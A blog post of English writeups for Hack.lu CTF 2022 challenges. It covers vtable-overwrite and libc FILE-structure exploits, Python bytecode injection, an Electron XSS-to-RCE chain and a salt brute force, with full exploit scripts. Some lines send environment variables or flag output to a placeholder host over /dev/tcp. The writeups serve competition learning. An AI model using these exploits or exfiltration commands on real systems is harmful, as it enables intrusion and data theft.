CTFするぞ

CTF以外のことも書くよ

Hack.lu CTF 2022 Writeups

I met @keymoon at CODEBLUE conference and impulsively decided to play a CTF with him. There was Hack.lu CTF 2022 in that weekend and we played it as a team weak_ptr<moon>. Surprisingly we stood 5th place🎉

It was a fun to play a CTF with him. I solved some tasks during the CTF and I'm going to write the solution here.

[Pwn Pasta] placemat 🧄 (45 solves / 206 pts)

The program is a TicTacToe game.

1 Play
2 Rules
3 Exit
1


Do you want to play against a (b)ot or against a (h)uman? b
What's your name?
neko


    ▼
X  neko                            Astroboy  O

                   A   B   C

               1     │   │   
                  ───┼───┼───
               2     │   │   
                  ───┼───┼───
               3     │   │   


neko, enter the position you want to play (e.g. A3): 

The game is designed to print the flag when the user wins against the bot.

void Game::congratulate() const
{
...
    if (this->activePlayer == this->opponent)
        return;
...
    // Check if the loosing player is a bot
    if (typeid(*this->opponent) != typeid(Bot))
    {
        return;
    }
...
    // Recheck if the game has actually been won before handing out the redemption_code
    // Just to make sure nobody does anything nasty
    if (this->board.checkWinner() != Field::PLAYER)
    {
        printf("Wait a minute. You didn't win! Did you cheat?\n\n");
    }
    else
    {
        printf("The redemption code for your free dessert is: %s\n\n", redemption_code);
    }
...

The bot is so strong that we can't win. We need to pwn it to get the flag.

Although the source code is pretty big, it's easy to spot the vulnerability: buffer overflow.

void Human::requestName()
{
    printf("What's your name?\n");
    scanf("%s", this->name);
    util::readUntilNewline();
}

The class instance is allocated on the stack in Game::startSingleplayer.

void Game::startSingleplayer()
{
    Human human;
    Bot bot;
    human.requestName();
    bot.requestName();

    Game game(&human, &bot);
    game.play();
}

By checking it on GDB, you'll notice that bot is located after the human intance, which can be overwritten by the buffer overflow.

The Bot class has some virtual methods. That is, we can overwrite the virtual method table.

class Bot : public Player
{
public:
    virtual void requestName();
    virtual Position takeTurn(Board &);
};

Also, the game instance is initialized after human.requestName() and bot.requestName(). This game instance is located right after the bot instance on the memory.

class Game
{
private:
    Player *player;
    Player *opponent;
    Player *activePlayer;
    Board board;
public:
...
};

The game instance has some pointers pointing to the stack. We can leak these pointers because the player name will be printed in Game::play and we don't have a NULL character there thanks to the buffer overflow.

So, we have the stack address and vtable control. I put a fake vtable on the stack and overwrote the vtable of bot with that address.

After getting EIP control, I used the following gadget to pivot ESP.

lea esp, [ecx-4]

To win the game, I created a fake game instance on the stack and called Game::congratulate.

from ptrlib import *

elf = ELF("./placemat/placemat")
#sock = Process("./placemat/placemat")
sock = Socket("nc flu.xxx 11701")

sock.sendline("1")
sock.sendlineafter("? ", "h")

# Leak stack address
sock.sendlineafter("?", "A"*0x10)
sock.sendlineafter("?", "B"*0x20)
name = sock.recvregex("(.+), enter the position")[0]
if name == b'A'*0x10:
    # skip
    sock.sendlineafter(": ", "A1")
    name = sock.recvregex("(.+), enter the position")[0]

addr_stack = u32(name[20:24])
logger.info("player 1 @ " + hex(addr_stack))

# Quit game
sock.sendlineafter(": ", "A2")
sock.sendlineafter(": ", "A3")
sock.sendlineafter(": ", "B2")
sock.sendlineafter(": ", "B3")
sock.sendlineafter(": ", "C2")

# Overwrite vtable
rop_lea_esp_pecxM4 = 0x0804b226
rop_pop_ebp = 0x0804b6c0
addr_win = 0x0804AA96

sock.sendline("1")
sock.sendlineafter("? ", "h")

# stack pivot
vtable_human = 0x0804c364
vtable_bot = 0x0804c1ac
payload = flat([
    rop_lea_esp_pecxM4,
    vtable_bot,
    vtable_human,
    0,
    rop_pop_ebp,
    addr_stack + 4 - 0xc,
], map=p32)
assert is_scanf_safe(payload)
sock.sendlineafter("?", payload)

# fake game instance
payload = flat([
    addr_win,
    0,
    addr_stack + 0x60
], map=p32)
payload += b"A"*0x38
payload += flat([
    0xdeadbeef,
    addr_stack + 8,  # player 1
    addr_stack + 12, # player 2
    # board
    1, 1, 1,
    1, 1, 1,
    1, 1, 1,
], map=p32)
sock.sendlineafter("?", payload)

sock.sh()

[Pwn Pasta] byor 🔥 (14 solves / 343 pts)

The source code was not distributed but the program is very simple.

if (read(0, stdout, 0xE0) != 0xE0) exit(-1);
stdout->_IO_wdata = calloc(1, 0xE8);
puts("Let's have a look...");
return 0;

We can overwrite the whole data of stdout. However, the version of libc is 2.35.

All the efforts to mitigate FILE structure exploit in vain and I knew several ways to exploit FILE structure. I used _IO_wfile_jumps, a technique also known as House of Apple 2. Although _IO_wdata is overwritten by calloc, we can still abuse _IO_cleanup in exit.

I chained stdout to a fake FILE structure overlapping with stdout, which will be cleaned up in _IO_cleanup and we can call _IO_wfile_overflow.

from ptrlib import *

libc = ELF("./libc.so.6")
#sock = Process("./byor")
sock = Socket("nc flu.xxx 11801")

libc_base = int(sock.recvlineafter(": "), 16) - libc.symbol("_IO_2_1_stdout_")
libc.set_base(libc_base)

addr_IO_wfile_jumps = libc_base + 0x2160c0
payload = flat([
    # flag, 0,
    0, 0, # _IO_read_end / _IO_read_base
    0, 1, 0, # _IO_write_base / _IO_write_ptr / _IO_write_end
    0, 0, # _IO_buf_base / _IO_buf_end
    0, 0, 0, 0, # _IO_save_base / _IO_backup_base / _IO_save_end / _markers
    libc.symbol("_IO_2_1_stdin_"), # _chain
    1, # fileno / flags2
    libc.symbol("_IO_2_1_stdout_") - 0x10, # (_old_offset) original chain
    1, # (_cur_column etc) original fileno
    libc_base + 0x21ba70, # lock
    -1, # _offset
    0, # codecvt
    libc.symbol("_IO_2_1_stdout_") - 0x30, # _IO_wide_data
    0, 0, # freeres_list / freeres_buf
    libc_base + 0xebcf5, # pad5
    libc.symbol("_IO_2_1_stdout_") + 0xa8 - 0x68, # mode (IO_wide vtable)
    0, 0,
    addr_IO_wfile_jumps # vtable
], map=p64)[:0xdf]
assert len(payload) < 0xe0
sock.send(payload)

sock.interactive()

[Pwn Pasta] Ordersystem 🌶️ (14 solves / 343 pts)

This task is a bit complicated so I will just summarize the important parts:

  • We can write hex string to a file
    • The length of filename is 12 bytes
    • The size of contents is up to 0xff characters (0x1fe bytes in hex format)
    • The filename is combined with "./storage", which is vulnerable to directory traversal
    • The filename and contents are recorded in ENTRIES
  • We can read a file and execute it as plugin
    • The length of filename is 12 bytes
    • The filename is combined with "./plugins", which is NOT vulnerable to directory traversal
    • The format of plugin is <bytecode>;<name1>;<name2>;...
      • <bytecode> is executed as Python bytecode
      • The list of <name> is passed as co_names to the Python bytecode
      • The filename list in ENTRIES is passed as co_consts to the Python bytecode
      • A function named plugin_log is also appended to co_consts

plugin_log looks like this:

def plugin_log(msg,filename='./log',raw=False):
    mode = 'ab' if raw else 'a'

    with open(filename,mode) as logfile:
        logfile.write(msg)

At first glance it looks like that we can execute arbitrary Python bytecode by writing the bytecode to plugins directory by directory traversal in storage. However, we can only write HEX string to a file, which is not suitable as the plugin format.

After several investigation I concluded that there would be not solution other than writing the Python bytecode with hex string. Then keymoon immediately extracted all the opecodes available in hex string.

Among those instructions, I found WITH_EXCEPT_START interesting.

Calls the function in position 4 on the stack with arguments (type, val, tb) representing the exception at the top of the stack. Used to implement the call context_manager.exit(*exc_info()) when an exception has occurred in a with statement.

It looks like with this opecode we can call a function with three parameters, and actually it worked.

Again, plugin_log looks like this:

def plugin_log(msg,filename='./log',raw=False):
    mode = 'ab' if raw else 'a'

    with open(filename,mode) as logfile:
        logfile.write(msg)

So, now we can write any data to any file?

The answer is no. What we can pass to the function is co_consts containing filenames. We can only use UTF-8 friendly characters as a filename because of decode method:

def store_disk(entries):
    for k,v in entries.items():
        try:
            k = k.decode()
        except:
            k = k.hex()

        storagefile = path.normpath(f'storage/{k}')
        _store(storagefile,v)

I asked keymoon again and he immediately told me how to write unicode-friendly bytecode.

For example, the opecode for LOAD_METHOD is 0x83 and this is out of ASCII range. However, we can use the opecode by putting a nop operation so that the bytes construct a valid UTF-8 character.

0x09,0xc2, 0x83,0x01, # LOAD_METHOD (eval)

In this way, we wrote a bytecode encoder to execute any Python code.

from ptrlib import *
import time
import os

# cleanup
os.system("rm -f ./plugins/B")

def make_conn():
    #return Socket("localhost", 4444)
    return Socket("23.88.100.81", 44463)

def store(entry, data):
    assert len(entry) <= 12
    assert len(data) < 0x80
    sock = make_conn()
    sock.send('S')
    sock.send(entry + b'\x00' * (12 - len(entry)))
    sock.send(bytes([len(data) * 2]))
    sock.send(data.hex())
    print(sock.recvline())
    sock.close()
def dump():
    sock = make_conn()
    sock.send('D')
    print(sock.recv())
    sock.close()
def plugin(name):
    sock = make_conn()
    sock.send('P')
    sock.send(name + b'\x00' * (12 - len(name)))
    sock.close()

# '/' is not valid as filename so use \x2f instead
pycode = b"__import__('os').system('bash -c \"env > \\x2fdev\\x2ftcp\\x2f<HOST>\\x2f<PORT>\"')"
pychunks = chunks(pycode, 12, b'\n')

code = bytes([
    116,0x00, # LOAD_GLOBAL (eval)
])
for i in range(len(pychunks)):
    code += bytes([100,i])
    if i > 0:
        code += bytes([0x17,0x00]) # BINARY_ADD
code += bytes([
    0x09,0xc2,
    0x83,0x01, # LOAD_METHOD (eval)
    0x01,0x00, # POP_TOP
    100,0x00, # LOAD_CONST (None)
    83,0x00, # RETURN_VALUE
])

data = code + b";eval;"
blocks = chunks(data, 12, b'\x00')

pos_func = 0x33 + len(blocks)
code = b""
for i in range(len(blocks)):
    code += bytes([
        100,pos_func, 100,0x30, 100,0x30, 100,0x30, # func
        100,0x30, 100,0x32, 100,0x33+i, # raw, filename, msg
        49, 0x30, # call by exception
    ])
code += bytes([53,53])

for piece in pychunks:
    store(piece, b"whatever")
for i in range(0x30 - len(pychunks)):
    store(bytes([0x41 + i] * 12), b"whatever")
store(b"../plugins/A", bytes.fromhex(code.decode()))
store(b"\x00", b"whatever") # stop
store(b".//plugins/B", b"whatever") # filename
for block in blocks:
    store(block, b"whatever") # data

# write ascii bytecode
dump()
time.sleep(0.1)
plugin(b"0123456789/A")

# win!
time.sleep(0.1)
plugin(b"0123456789/B")

[Reverse Risottos] FingerFood 🍼 (69 solves / 177 pts)

Just reverse the binary.

import re

code = """
mov     [rbp+var_32], 0D6h
mov     [rbp+var_33], 0E9h
...
mov     [rbp+var_30], 2Fh ; '/'
mov     [rbp+var_31], 0A4h
"""

neko = {}
for line in code.split("\n"):
    if line.strip() == '': continue
    pos, val = map(lambda x: int(x, 16), re.findall("rbp\+var_([0-9A-F]+)], ([0-9A-F]+)", line)[0])
    neko[pos - 0xB] = val

arr = []
for i in range(len(neko)):
    arr.append(neko[i])
arr = arr[::-1]

flag = ""
for i in range(len(arr) // 2):
    flag += chr( (arr[i] - arr[i+0x27]) % 0x100 )

print(flag)

[Reverse Risottos] Cocktail Bar 🧄 (27 solves / 257 pts)

The binary seems compiled with Rust and is very complex.

Running the program, we can see 2 options.

Welcome to the bar!

Please choose what you want to do:
1: Let's have the the house's flagship drink
2: Evaluate your own creation
q: Leave the bar

The first option dumps bunch of outputs and does not terminate.

Wise choice! Now creating our flagship drink. This may take a while...
Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1024, AddVodka(2, 10))), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))), AddSyrup)
Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1024, 58)), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))), AddSyrup(2, 5), Stirr)
Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1023, Mix(1023, 12))), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))), AddSyrup(2)
Now thinking about: LimeSlice(LimeSlice(Stirr(Mix(1023, Mix(1022, Mix(1022, 12)))), Stirr(Mix(3072, Shake(22)))), Stirr(Mix(666, AddVodka(Shake(3), 13))), LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))),)
...

It looks like the task is to optimize this calculation and find the final output.

The second option accepts an expression and calculates it.

What do you want me to do for you?
AddVodka(2, 10)
Now thinking about: AddVodka(2, 10)
Now thinking about: 58
Finished! This yields: 58

Checking the output of the first option, there are 7 functions in this grammar:

  • LimeSlice(x, y, z, ...)
  • Shake(x)
  • AddVodka(x, y)
  • Stirr(x)
  • FlirtWithCustomer(x, y)
  • Mix(x, y)
  • AddSyrup(x, y)

Both of them are actually not so complex. I could find out what these functions are doing by blackbox testing.

I re-implemented the functions in Python and it successfully found the flag.

# Shake(x) --> x + 24
# AddVodka(x, y) --> x + y + 46
# Mix(0, y) --> y % 23
# Mix(x, y) --> Mix(x-1, Mix(x-1, y))
# AddSyrup(x, y) --> LimeSlice(Stirr(1000, AddVodka(y, 187 + i*28)), ...)
# Stirr(x, y) --> chr('A' + x)
# LimeSlice(x, y, z, ...) --> ''.join(x, y, z, ...)
# FlirtWithCustomer(x, 23) --> x + 25
# FlirtWithCustomer(x, y) --> FlirtWithCustomer(x+1, y+1, FlirtWithCustomer(x, y+1))

def LimeSlice(*args):
    l = []
    for c in args:
        if isinstance(c, int):
            c = str(c)
        l.append(c)
    return "".join(l)
def Shake(x):
    return x + 24
def AddVodka(x, y):
    return int(x) + int(y) + 46
def Stirr(x):
    return chr(0x41 + x)
def FlirtWithCustomer(x, y, *args):
    assert y <= 23
    return x + 25 + (23 - y)
def Mix(x, y):
    return int(y) % 23
def AddSyrup(x, y):
    l = []
    for i in range(x):
        l.append(Stirr(Mix(1000, AddVodka(y, 187+i*28))))
    return LimeSlice(*l)

print(LimeSlice(
    LimeSlice(
        Stirr(Mix(1024, AddVodka(2, 10))),
        Stirr(Mix(3072, Shake(22)))
    ),
    Stirr(Mix(666, AddVodka(Shake(3), 13))),
    LimeSlice(Stirr(Mix(999, Shake(Mix(1024, FlirtWithCustomer(16, 0))))),
              AddSyrup(2, 5),
              Stirr(Mix(420, AddVodka(Mix(1337, AddVodka(Shake(0), 529)), 7))),
              LimeSlice(Stirr(Mix(2048, Shake(Shake(118)))),
                        Stirr(Mix(666, FlirtWithCustomer(17, 0)))),
              Stirr(Mix(9999, LimeSlice(3, 3))),
              Stirr(Mix(1337, FlirtWithCustomer(12, 0))),
              LimeSlice(LimeSlice(Stirr(Mix(4096, Shake(Shake(Shake(AddVodka(1, 7))))))),
                        AddSyrup(1, LimeSlice(Mix(5000, Shake(Shake(18)))))))))

# flag{MARTINIFTKOLA}

[Web Wraps] babyelectronV1 🍼 (21 solves / 289 pts)

This was a single task but the organizer divided it into 2 parts because there was an unintended solution. I didn't use the unintended solution and just wrote an exploit for V2, which also worked for V1.

[Web Wraps] babyelectronV2 🧄 (19 solves / 299 pts)

The program is an GUI application made by Electron. The application is a service where users can buy or sell houses.

If we report a house to bot, the bot will check /support page with the house ID.

// support.js fetches next row from API in support and gives it back to the support admin to handle. 
console.log("WAITING FOR NEW INPUT")

const reportId = localStorage.getItem("reportId")
let RELapi = localStorage.getItem("api")

const HTML = document.getElementById("REL-content")


fetch(RELapi + `/support?reportId=${encodeURIComponent(reportId)}`).then((data) => data.json()).then((data) =>{
  if(data.err){
    console.log("API Error: ",data.err)
    new_msg = document.createElement("div")
    new_msg.innerHTML = data.err
    HTML.appendChild(new_msg);
  }else{
  for (listing of data){
    console.log("Checking now!", listing.msg)
    
    // security we learned from a bugbounty report
    listing.msg = DOMPurify.sanitize(listing.msg)

    const div = `
        <div class="card col-xs-3" style="width: 18rem;">
            <span id="REL-0-houseId" style="display: none;">${listing.houseId}</span>
            <img class="card-img-top" id="REL-0-image" src="../${listing.image}" alt="REL-img">
            <div class="card-body">
              <h5 class="card-title" id="REL-0-name">${listing.name}</h5>
              <h6 class="card-subtitle mb-2 text-muted" id="REL-0-sqm">${listing.sqm} sqm</h6>
              <p class="card-text" id="REL-0-message">${listing.message}</p>
              <input type="number" class="form-control" id="REL-0-price" placeholder="${listing.price}">
            </div>
        </div>
        <div>
            ${listing.msg}
        </div>
`
    new_property = document.createElement("div")
    new_property.innerHTML = div
    HTML.appendChild(new_property);
  }
  console.log("Done Checking!")
}
})

DOMPurify is the latest version here and we can't inject XSS in the report message ${listing.message}. However, ${listing.name} is fully controllable and is not checked.

So, we can do XSS in the renderer, but what can we do for RCE?

Fortunately I had an experience to pwn some Electron applications when I helped s1r1us with ElectroVolt project. In this case we can pwn the vulnerable IPC interface.

const RendererApi = {
  invoke: (action, ...args)  => {
      return ipcRenderer.send("RELaction",action, args);
  },
};

By calling this API we can execute the following code in the main process:

ipcMain.on("RELaction", (_e, action, args)=>{
  //if(["RELbuy", "RELsell", "RELinfo"].includes(action)){
  if(/^REL/i.test(action)){
    app[action](...args)
  }else{
    // ?? 
  }
})

One can call any functions in app whose name starts with "REL." I looked over the documentation of Electron app and found the following method.

This looks useful. We can execute any programs by properly setting execPath and args.

Here is the final exploit:

import requests
import json
import base64

URL = "https://relapi.flu.xxx"
#URL = "http://127.0.0.1:1024"

# localStorage.getItem("token") after login
#user_token = "4084da8a2966fd882adaabb5f0bbb13d"
user_token = "4a510eff26ae38337fe3e3ca54a6237f"

# Buy a house
r = requests.get(f"{URL}/listings",
                 params={"token": user_token})
houses = json.loads(r.text)
print(houses)

r = requests.post(f"{URL}/buy",
                  data=json.dumps({"token": user_token,
                                   "houseId": houses[0]['houseId']}),
                  headers={"Content-Type": "application/json"})
print(r.text)

# Sell a house
script = """
api.invoke("relaunch", {execPath: "/bin/bash", args: ["-c", "/printflag > /dev/tcp/<HOST>/<PORT>"]})
"""
b64script = base64.b64encode(script.encode()).decode()
payload = f"<img src=x onerror=\"javascript:eval(atob('{b64script}'));\">"
r = requests.post(f"{URL}/sell",
                  data=json.dumps({"token": user_token,
                                   "houseId": houses[0]['houseId'],
                                   "message": payload,
                                   "price": "1919"}),
                  headers={"Content-Type": "application/json"})
print(r.text)

# Report to get ticket ID
r = requests.post(f"{URL}/report",
                  params={"houseId": houses[0]['houseId']},
                  data=json.dumps({"message": 'neko neko'}),
                  headers={"Content-Type": "application/json"})
print(r.text)

[Misc Muffins] Gitlub as a Service 🧄 (15 solves / 334 pts)

We can upload a zip file with a GitHub repository URL, and the service will automatically create a new commit adding files in the zip and push the commit to the repository.

#!/bin/bash

randomKey () {
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1;
}

dirname="/tmp/$(randomKey)"
zipname="$(randomKey).zip"
mkdir $dirname
mkdir $dirname-safu
echo $BASE64_SSHKEY | base64 -w0 -d > $dirname-safu/safu_key
echo $SOURCE_ZIP_DATA | base64 -w0 -d > $dirname/$zipname
chmod 600 $dirname-safu/safu_key
cd $dirname
git config --global user.email "nsa@github.com"
git config --global user.name "NSA"

git clone -c "core.sshCommand=ssh -i $dirname-safu/safu_key" $GIT_URL
unzip -o $zipname

rm -f $zipname
git add .
git commit -m "Initial commit"
git push

cd
rm -rf $dirname*
echo "Done"

The vulnerability is simple: We can execute arbitrary commands by setting pre-commit shell script.

However, this happens inside a docker and the flag is on the host machine.

There is an API in /admin which leaks the flag fortunately:

@app.route("/admin", methods=["GET"])
def adminRoute():
    if request.remote_addr not in allowed_ips:
        return "to be or not to be, you are not allowed to be", 403
    token_regex = re.compile(r"^[a-zA-Z0-9_\-]{2,600}$")
    if not token_regex.match(str(request.args["key"])):
        return "Invalid key", 400
    checksum = hashlib.sha3_224(os.environ["ADMIN_TOKEN"].encode()).hexdigest()[-5:]
    if hmac.compare_digest(str(request.args["key"]).encode(), os.environ["ADMIN_TOKEN"].encode()) == False:
        return f"Invalid key, error {checksum}", 400 
    return f'Flag: {os.environ.get("FLAG")}'

The value ADMIN_TOKEN derives from ADMIN_KEY, which is set to the environmental variable:

app_nonce = secrets.token_hex(3)
data = [app_nonce+os.environ["ADMIN_KEY"], os.environ["ADMIN_KEY"]]
os.environ["ADMIN_TOKEN"] = hashlib.sha3_224(data.pop(0).encode()).hexdigest()

Reading the code above carefully, you will notice that the way it calculates ADMIN_TOKEN is weird. It's popping app_nonce + os.environ["ADMIN_KEY"] from data, but os.environ["ADMIN_KEY"] still remains in the list data.

I checked if there is any other code that uses the variable data, and found the following:

    values = {
        "GIT_URL": request.form["url"],
        "BASE64_SSHKEY": request.form["sshkey"],
        "SOURCE_ZIP_DATA": zippedData
    }
    for s in ["GIT_URL", "BASE64_SSHKEY", "SOURCE_ZIP_DATA"]:
        data.append(s + "=" + values[s])
    start_container_with_timeout(*data)

Okay, so ADMIN_KEY is appended to the environment variable list passed to docker. However, docker will discard any invalid environment variable. It should be in a format like XXX=YYY.

I concluded that there would be no way to leak the key from inside the container. The only bet was to guess that ADMIN_KEY on the remote server is somehow set to XXX=YYY format.

Surprisingly, it worked. The server secret was a base64-encoded string and it included the = character, which made the variable valid as an envvar.

The last thing to do is to guess the salt app_nonce:

app_nonce = secrets.token_hex(3)
data = [app_nonce+os.environ["ADMIN_KEY"], os.environ["ADMIN_KEY"]]

The hash value of ADMIN_TOKEN is leaked in the admin API:

    if hmac.compare_digest(str(request.args["key"]).encode(), os.environ["ADMIN_TOKEN"].encode()) == False:
        return f"Invalid key, error {checksum}", 400 

Since the salt is only 3 bytes, we can brute force it.

import hashlib

admin_key = "hT3V27aycNyQ6VgUaQeFck2eVuB3v8AzNU13cHMqbtoHP9vxcWbevtRePzuT="
for x in range(0x1000000):
    if x % 0x100000 == 0:
        print(hex(x))
    app_nonce = int.to_bytes(x, 3, 'big').hex()
    admin_token = hashlib.sha3_224((app_nonce + admin_key).encode()).hexdigest()
    checksum = hashlib.sha3_224(admin_token.encode()).hexdigest()[-5:]
    if checksum == "8b890":
        print("----- Found!")
        print(app_nonce)
        print(admin_token)

This script dumps dozens of candidates. I tried them one by one, and one of them worked.